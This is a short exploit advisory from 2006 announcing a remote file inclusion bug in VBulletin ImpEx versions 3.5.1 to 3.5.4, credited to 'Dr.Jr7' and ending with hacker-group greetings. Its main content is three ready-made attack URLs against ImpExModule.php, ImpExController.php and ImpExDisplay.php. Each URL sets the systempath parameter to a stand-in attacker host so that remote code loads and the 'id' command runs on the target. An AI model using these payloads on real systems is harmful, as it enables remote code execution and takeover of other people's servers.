VBulletinImpEx.txt

`  
Remote File Inclusion in VBulletin ImpEx   
  
Date :   
  
12 / 4 / 2006   
  
Software :   
  
VBulletin ImpEx   
  
version :   
  
VBulletin 3.5.1  
VBulletin 3.5.2  
VBulletin 3.5.4  
  
The bug reside in :   
  
ImpExModule.php  
ImpExController.php  
ImpExDisplay.php  
  
Exploit :   
  
(1)  
www.site.com/forum/impex/ImpExModule.php?systempath=http://www.host_evil.com/cmd?&=id  
  
(2)  
www.site.com/forum/impex/ImpExController.php?systempath=http://www.host_evil.com/cmd?&=id  
  
(3)  
www.site.com/forum/impex/ImpExDisplay.php?systempath=http://www.host_evil.com/cmd?&=id  
  
Discovery by :  
  
Dr.Jr7  
  
GreeTz :   
  
special greet to Qptan & Mr.SNAKE & trooq  
  
and to my all frinds in www.lezr.com/vb  
  
see u :}  
`